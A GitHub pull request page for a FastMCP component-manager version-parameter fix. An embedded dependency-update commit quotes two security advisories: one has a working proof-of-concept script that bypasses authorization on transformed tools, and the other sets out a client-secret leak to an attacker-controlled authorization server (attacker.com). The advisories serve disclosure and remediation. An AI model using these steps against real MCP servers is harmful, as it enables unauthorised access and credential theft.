Repository navigation
fix: convert version query param to VersionSpec in component manager routes - #5575
Merged
zzstoatzz merged 1 commit intoOct 9, 2026
Conversation
This comment has been minimized.
This comment has been minimized.
BlueX888
force-pushed
the
fix/prep-component-manager-version-str-poisons-list
branch
from
October 8, 2026 10:16
1b128e0 to
1b4631b
Compare
luketainton
added a commit
to luketainton/repos_labmcp
that referenced
this pull request
Oct 24, 2026
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [fastmcp](https://github.com/PrefectHQ/fastmcp) | `4.1.0` → `4.1.2` |  |  | --- ### FastMCP: Post-transform component authorization is skipped on direct calls [GHSA-7xgj-8392-5q4r](GHSA-7xgj-8392-5q4r) <details> <summary>More information</summary> #### Details ##### Maintainer assessment and remediation This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies. The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported. Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both `fastmcp` and `fastmcp-slim` installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates. Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform. ##### Original report ##### Post-transform component authorization is skipped on direct calls ##### Summary FastMCP's direct component paths can return a transformed component before its applicable `AuthCheck`, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit `e2fcc412001ff7414095c5dc282f94c70299a612` using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration. ##### Details ##### Attacker prerequisites A server uses a supported provider, server, or session transform and a metadata-aware component `AuthCheck`. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy. ##### Root cause Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See [`server.py:933-940`](https://github.com/PrefectHQ/fastmcp/blob/v4.1.0/fastmcp_slim/fastmcp/server/server.py#L933-L940). The MCP `tools/call` handler reaches this path; equivalent direct paths exist for resources, templates, and prompts. ##### Proof of concept Save this as `poc_transform_auth.py`: ```python import anyio from fastmcp import FastMCP from fastmcp.server.auth import restrict_tag from fastmcp.server.transforms.tool_transform import ToolTransform from fastmcp.tools.base import Tool from fastmcp.tools.tool_transform import ToolTransformConfig async def main() -> None: server = FastMCP("auth-boundary") server.add_tool( Tool.from_function( lambda: "PROTECTED SECRET", name="tagged_tool", tags={"public"}, auth=restrict_tag("admin", scopes=["admin"]), ) ) server.add_transform( ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})}) ) print("listed:", [tool.name for tool in await server.list_tools()]) try: result = await server.call_tool("tagged_tool") except Exception as exc: print("BLOCKED:", type(exc).__name__) else: print("VULNERABLE: direct call returned", result.content[0].text) anyio.run(main) ``` Run it in an isolated environment: ```bash uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py ``` Observed on 4.1.0 for a caller without the `admin` scope: ```text listed: [] VULNERABLE: direct call returned PROTECTED SECRET ``` ##### Impact A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts. ##### Recommended remediation Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable `AuthCheck` runs. ##### AI assistance Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version. #### Severity - CVSS Score: 6.8 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N` #### References - [https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-7xgj-8392-5q4r](https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-7xgj-8392-5q4r) - [https://github.com/PrefectHQ/fastmcp/pull/5933](https://github.com/PrefectHQ/fastmcp/pull/5933) - [https://github.com/PrefectHQ/fastmcp/pull/5934](https://github.com/PrefectHQ/fastmcp/pull/5934) - [https://github.com/PrefectHQ/fastmcp/commit/85df42fbf2aa631cc81e0f986718b314128e91df](https://github.com/PrefectHQ/fastmcp/commit/85df42fbf2aa631cc81e0f986718b314128e91df) - [https://github.com/PrefectHQ/fastmcp/commit/8649ba5fc91a68568a69729497edeb804a064332](https://github.com/PrefectHQ/fastmcp/commit/8649ba5fc91a68568a69729497edeb804a064332) - [https://github.com/PrefectHQ/fastmcp](https://github.com/PrefectHQ/fastmcp) - [https://github.com/PrefectHQ/fastmcp/releases/tag/v3.4.10](https://github.com/PrefectHQ/fastmcp/releases/tag/v3.4.10) - [https://github.com/PrefectHQ/fastmcp/releases/tag/v4.1.2](https://github.com/PrefectHQ/fastmcp/releases/tag/v4.1.2) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-7xgj-8392-5q4r) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### FastMCP MCP client wrappers construct M2M OAuth providers without issuer binding — client secret redirectable to attacker-advertised authorization server [GHSA-vqqp-x5qm-5qp4](GHSA-vqqp-x5qm-5qp4) <details> <summary>More information</summary> #### Details ##### Maintainer assessment and remediation This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy. Affected stable versions are 4.0.0–4.1.1 of `fastmcp` and `fastmcp-slim`. The wrappers were introduced in 4.0.0a1; 3.x does not include them. The 4.1.2 fix adds `issuer` to `ClientCredentialsOAuthProvider` and `PrivateKeyJWTOAuthProvider` and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact. **Configuration required for protection:** configure `issuer` with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits `MCPDeprecationWarning`. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2. ```python from fastmcp.client.auth import ClientCredentialsOAuthProvider auth = ClientCredentialsOAuthProvider( client_id="my-client-id", client_secret="my-client-secret", issuer="https://auth.example.com", ) ``` ##### Original report ##### Summary fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer. ##### Details When fastmcp connects to an MCP server with OAuth client credentials: 1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...) 2. Provider binds to server URL and discovers OAuth metadata 3. Client exchanges credentials at the token endpoint 4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises 5. Attack: attacker-controlled MCP server advertises attacker's authorization server 6. Result: client secret leaked to attacker Affected code: - fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider) * __init__ signature has no issuer= parameter * _bind() calls super().__init__(server_url=mcp_url, ...) without issuer= - fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider) * __init__ signature has no issuer= parameter * _bind() calls super().__init__(server_url=mcp_url, ...) without issuer= The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it. Example vulnerable usage: ```python auth = ClientCredentialsOAuthProvider( client_id="my-client-id", client_secret="my-client-secret", ) async with Client("https://attacker.com/mcp", auth=auth) as client: # Client credentials get sent to attacker's auth server if attacker's MCP # server advertises it in RFC 9728 metadata await client.list_tools() ``` ##### Proof of concept 1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token 2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools() 3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled) 4. Attacker receives client_id and client_secret in Basic auth header 5. Attacker can now impersonate the client against the legitimate authorization server The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer. ##### Impact Severity: Medium-High Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation. Affected parties: - Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers - Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised Attack scenarios: - User misconfigures MCP server URL in Prefect agent config - MCP server URL obtained from user input without validation - Legitimate MCP server is compromised/redirected - MCP service provider (if SaaS) is compromised #### Severity - CVSS Score: 5.9 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N` #### References - [https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vqqp-x5qm-5qp4](https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vqqp-x5qm-5qp4) - [https://github.com/PrefectHQ/fastmcp/pull/5933](https://github.com/PrefectHQ/fastmcp/pull/5933) - [https://github.com/PrefectHQ/fastmcp/commit/85df42fbf2aa631cc81e0f986718b314128e91df](https://github.com/PrefectHQ/fastmcp/commit/85df42fbf2aa631cc81e0f986718b314128e91df) - [https://github.com/PrefectHQ/fastmcp](https://github.com/PrefectHQ/fastmcp) - [https://github.com/PrefectHQ/fastmcp/releases/tag/v4.1.2](https://github.com/PrefectHQ/fastmcp/releases/tag/v4.1.2) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-vqqp-x5qm-5qp4) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>PrefectHQ/fastmcp (fastmcp)</summary> ### [`v4.1.2`](https://github.com/PrefectHQ/fastmcp/releases/tag/v4.1.2): : License to Deny [Compare Source](PrefectHQ/fastmcp@v4.1.1...v4.1.2) Component authorization now applies after transforms, denied resources cannot fall through matching templates, and OAuth client credentials providers support issuer binding across fresh and cached-token flows. Existing configurations remain compatible, but users of `ClientCredentialsOAuthProvider` or `PrivateKeyJWTOAuthProvider` must set `issuer` to enable this protection; upgrading alone is insufficient. Thanks to our 18 contributors, including 9 first-time contributors. <!-- Release notes generated using configuration in .github/release.yml at main --> #### What's Changed ##### Security 🔒 - Authorize transformed components and prevent denied-resource template fallback by [@​zzstoatzz](https://github.com/zzstoatzz) and [@​rishid](https://github.com/rishid) in [#​5933](PrefectHQ/fastmcp#5933) - Bind OAuth client credentials to a configured issuer, including cached-token renewal, by [@​zzstoatzz](https://github.com/zzstoatzz) and [@​LHMisme420](https://github.com/LHMisme420) in [#​5933](PrefectHQ/fastmcp#5933) ##### Enhancements ✨ - Add SEP-2640 Skills extension foundation by [@​strawgate](https://github.com/strawgate) in [#​5057](PrefectHQ/fastmcp#5057) - Write down triage and merge norms in docs/development by [@​zzstoatzz](https://github.com/zzstoatzz) in [#​5872](PrefectHQ/fastmcp#5872) - Add experimental Skills discovery to SkillsDirectoryProvider by [@​zzstoatzz](https://github.com/zzstoatzz) in [#​5704](PrefectHQ/fastmcp#5704) ##### Fixes 🐞 - Do not require websockets for the OAuth callback server by [@​asasemahmed](https://github.com/asasemahmed) in [#​5693](PrefectHQ/fastmcp#5693) - Keep fastmcp.json resolvable when deployment.cwd changes the working directory by [@​asasemahmed](https://github.com/asasemahmed) in [#​5700](PrefectHQ/fastmcp#5700) - Fix ctx.log() failing when extra contains LogRecord attribute names by [@​asasemahmed](https://github.com/asasemahmed) in [#​5688](PrefectHQ/fastmcp#5688) - Use a monotonic clock in the rate limiters by [@​asasemahmed](https://github.com/asasemahmed) in [#​5689](PrefectHQ/fastmcp#5689) - Escape server metadata in the fastmcp inspect text summary by [@​asasemahmed](https://github.com/asasemahmed) in [#​5701](PrefectHQ/fastmcp#5701) - Respect an explicit is_binary=False on FileResource by [@​asasemahmed](https://github.com/asasemahmed) in [#​5696](PrefectHQ/fastmcp#5696) - Follow pagination in the MCP format of fastmcp inspect by [@​asasemahmed](https://github.com/asasemahmed) in [#​5691](PrefectHQ/fastmcp#5691) - Visit each reference once when finding access-restricted properties by [@​AarnavNoble](https://github.com/AarnavNoble) in [#​5751](PrefectHQ/fastmcp#5751) - Run sync resource templates in the threadpool by [@​hardness1020](https://github.com/hardness1020) in [#​5742](PrefectHQ/fastmcp#5742) - Require openapi-pydantic 0.6.0 so OpenAPI 3.1.2 specs load by [@​jsphbtst](https://github.com/jsphbtst) in [#​5647](PrefectHQ/fastmcp#5647) - Scope FileUpload and session visibility to a stable client on MCP 2026-07-28 by [@​zzstoatzz](https://github.com/zzstoatzz) in [#​5651](PrefectHQ/fastmcp#5651) - fix(auth): accept private_key_jwt without form client_id by [@​HootRock](https://github.com/HootRock) and [@​imranq2](https://github.com/imranq2) in [#​5832](PrefectHQ/fastmcp#5832) - fix(cli): honor explicit URL transport by [@​mikamikasuki](https://github.com/mikamikasuki) in [#​5529](PrefectHQ/fastmcp#5529) - Remove legacy logging state when HTTP sessions close by [@​mikamikasuki](https://github.com/mikamikasuki) in [#​5539](PrefectHQ/fastmcp#5539) - Name data-backed File resources consistently with their MIME subtype by [@​nandanadileep](https://github.com/nandanadileep) in [#​5568](PrefectHQ/fastmcp#5568) - fix(client): run Python stdio children in UTF-8 mode by [@​ningmao-hlyz](https://github.com/ningmao-hlyz) in [#​5642](PrefectHQ/fastmcp#5642) - Report an unbindable OAuth callback port instead of SystemExit by [@​asasemahmed](https://github.com/asasemahmed) in [#​5692](PrefectHQ/fastmcp#5692) - Accept ES256 and other RSA/EC algorithms for CIMD private_key_jwt assertions by [@​asasemahmed](https://github.com/asasemahmed) in [#​5695](PrefectHQ/fastmcp#5695) - Preserve icons on transformed tools by [@​asasemahmed](https://github.com/asasemahmed) in [#​5702](PrefectHQ/fastmcp#5702) - Hydrate valid schema defaults while preserving invalid defaults by [@​nandanadileep](https://github.com/nandanadileep) in [#​5738](PrefectHQ/fastmcp#5738) - fix(resources): preserve public metadata in built-in read contents by [@​HootRock](https://github.com/HootRock) in [#​5778](PrefectHQ/fastmcp#5778) - Preserve shared dependency scopes without optional task dependencies by [@​HootRock](https://github.com/HootRock) and [@​BlueX888](https://github.com/BlueX888) in [#​5817](PrefectHQ/fastmcp#5817) - fix: treat non-string skill frontmatter descriptions as absent by [@​BlueX888](https://github.com/BlueX888) in [#​5823](PrefectHQ/fastmcp#5823) - fix(resources): preserve component meta for list\[ResourceContent] returns by [@​BlueX888](https://github.com/BlueX888) in [#​5843](PrefectHQ/fastmcp#5843) - Fall back to the client timeout when resolving claimed results by [@​marcinbelczewski](https://github.com/marcinbelczewski) in [#​5190](PrefectHQ/fastmcp#5190) - Discover Goose Streamable HTTP extensions by [@​jiuyueQ](https://github.com/jiuyueQ) and [@​ch-z-hc](https://github.com/ch-z-hc) in [#​5582](PrefectHQ/fastmcp#5582) - Raise ToolError when a tool with an output schema returns an unserializable value by [@​massimiliano1991](https://github.com/massimiliano1991) in [#​5063](PrefectHQ/fastmcp#5063) - Stop deploy tests from spawning PowerShell on every state access by [@​zzstoatzz](https://github.com/zzstoatzz) in [#​5874](PrefectHQ/fastmcp#5874) - Give the timeout-override test headroom for the follow-up tools/list by [@​zzstoatzz](https://github.com/zzstoatzz) in [#​5875](PrefectHQ/fastmcp#5875) - Keep disabled resources from being served by matching templates by [@​zzstoatzz](https://github.com/zzstoatzz) in [#​5876](PrefectHQ/fastmcp#5876) ##### Docs 📚 - Fix codespell typo in v4.1.1 changelog by [@​zzstoatzz](https://github.com/zzstoatzz) in [#​5818](PrefectHQ/fastmcp#5818) - context: stop documenting session_id as a cross-request key by [@​zzstoatzz](https://github.com/zzstoatzz) in [#​5862](PrefectHQ/fastmcp#5862) ##### Examples & Contrib 💡 - fix(contrib): preserve BulkToolCaller tool prefixes by [@​mikamikasuki](https://github.com/mikamikasuki) in [#​5555](PrefectHQ/fastmcp#5555) ##### Other Changes 🦾 - chore(deps): Update github actions by [@​prefect-renovate](https://github.com/prefect-renovate)\[bot] in [#​5707](PrefectHQ/fastmcp#5707) #### New Contributors - [@​AarnavNoble](https://github.com/AarnavNoble) made their first contribution in [#​5751](PrefectHQ/fastmcp#5751) - [@​hardness1020](https://github.com/hardness1020) made their first contribution in [#​5742](PrefectHQ/fastmcp#5742) - [@​jsphbtst](https://github.com/jsphbtst) made their first contribution in [#​5647](PrefectHQ/fastmcp#5647) - [@​marcinbelczewski](https://github.com/marcinbelczewski) made their first contribution in [#​5190](PrefectHQ/fastmcp#5190) - [@​jiuyueQ](https://github.com/jiuyueQ) made their first contribution in [#​5582](PrefectHQ/fastmcp#5582) - [@​massimiliano1991](https://github.com/massimiliano1991) made their first contribution in [#​5063](PrefectHQ/fastmcp#5063) - [@​imranq2](https://github.com/imranq2) made their first contribution in [#​5832](PrefectHQ/fastmcp#5832) - [@​rishid](https://github.com/rishid) made their first contribution in [#​5933](PrefectHQ/fastmcp#5933) - [@​LHMisme420](https://github.com/LHMisme420) made their first contribution in [#​5933](PrefectHQ/fastmcp#5933) **Full Changelog**: <PrefectHQ/fastmcp@v4.1.1...v4.1.2> ### [`v4.1.1`](https://github.com/PrefectHQ/fastmcp/releases/tag/v4.1.1): : Regex Marks the Spot [Compare Source](PrefectHQ/fastmcp@v4.1.0...v4.1.1) Regex tool search now rejects patterns over 1,000 characters and stops after about a second, and `SkillsDirectoryProvider` discovers skill folders that are links again, including links to folders outside the skills root; a skill's own files must still resolve inside the folder it links to. All 4.x users are encouraged to upgrade. Thanks to our 4 contributors, including 1 first-time contributor. <!-- Release notes generated using configuration in .github/release.yml at main --> #### What's Changed ##### Security 🔒 - Keep linked skill folders discoverable by [@​zzstoatzz](https://github.com/zzstoatzz) in [#​5766](PrefectHQ/fastmcp#5766) - Bound regex tool search by pattern length and time by [@​zzstoatzz](https://github.com/zzstoatzz) and [@​SAYUTIM](https://github.com/SAYUTIM) in [#​5771](PrefectHQ/fastmcp#5771) ##### Fixes 🐞 - Keep an unparseable proxy setting from aborting the update check by [@​zzstoatzz](https://github.com/zzstoatzz) and [@​ker2xu](https://github.com/ker2xu) in [#​5639](PrefectHQ/fastmcp#5639) - Keep the JWKS refresh lock clear of subclass attributes by [@​zzstoatzz](https://github.com/zzstoatzz) in [#​5770](PrefectHQ/fastmcp#5770) ##### Examples & Contrib 💡 - fix: convert version query param to VersionSpec in component manager routes by [@​BlueX888](https://github.com/BlueX888) in [#​5575](PrefectHQ/fastmcp#5575) #### New Contributors - [@​ker2xu](https://github.com/ker2xu) made their first contribution in [#​5639](PrefectHQ/fastmcp#5639) **Full Changelog**: <PrefectHQ/fastmcp@v4.1.0...v4.1.1> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate CLI](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODEuMCIsInVwZGF0ZWRJblZlciI6IjQ0LjE4MS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJzZWN1cml0eSJdfQ==--> --------- Co-authored-by: Luke Tainton <[email protected]> Reviewed-on: https://git.tainton.uk/repos/labmcp/pulls/82 Reviewed-by: Luke Tainton <[email protected]> Co-authored-by: renovate[bot] <[email protected]>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Description
set_up_component_managerdocumentsPOST /tools/{name}/disable[?version=v1]as a supported route, but the route handler passed the raw?version=query string straight intoProvider.enable/Provider.disable, whoseversionparameter is typedVersionSpec | None(fastmcp_slim/fastmcp/server/providers/base.py:604,:649). The storedstrlater reachesself.version.matches(...)inVisibility._matches(fastmcp_slim/fastmcp/server/transforms/visibility.py:172-174), so one request with?version=v1returns HTTP 200 and then makes every subsequenttools/listraiseAttributeError: 'str' object has no attribute 'matches'— for all clients, until restart.Fixes #5572
Changes
fastmcp_slim/fastmcp/contrib/component_manager/component_manager.py: in_make_endpoint's endpoint, convert theversionquery param toVersionSpec(eq=version)before callingserver.enable/server.disable.NonestaysNone, so the no-?version=path is unchanged.tests/contrib/test_component_manager.py: regression tests forPOST /tools/{name}/disable?version=1.0andPOST /tools/{name}/enable?version=1.0against a tool registered at two versions, asserting that listing works afterwards and only the matching version is affected.Testing
On the unpatched tree, the two new tests fail with the reported error:
With the fix:
uv run pytest tests/contrib/test_component_manager.py -k "with_version"→2 passeduv run pytest tests/contrib/→78 passeduv run pytest -n auto→7869 passed, 6 skipped, 16 xfailed; 9 failures in proxy/connection-error tests, each reproduced identically with the two changed files reverted tomain(pre-existing, unrelated)uv run prek run --all-files→ prettier, ruff check, ruff format, ty check, codespell all passtools/list ok: ['mytool']instead of raising.Contribution type
Checklist
uv run prek run --all-filesand all checks pass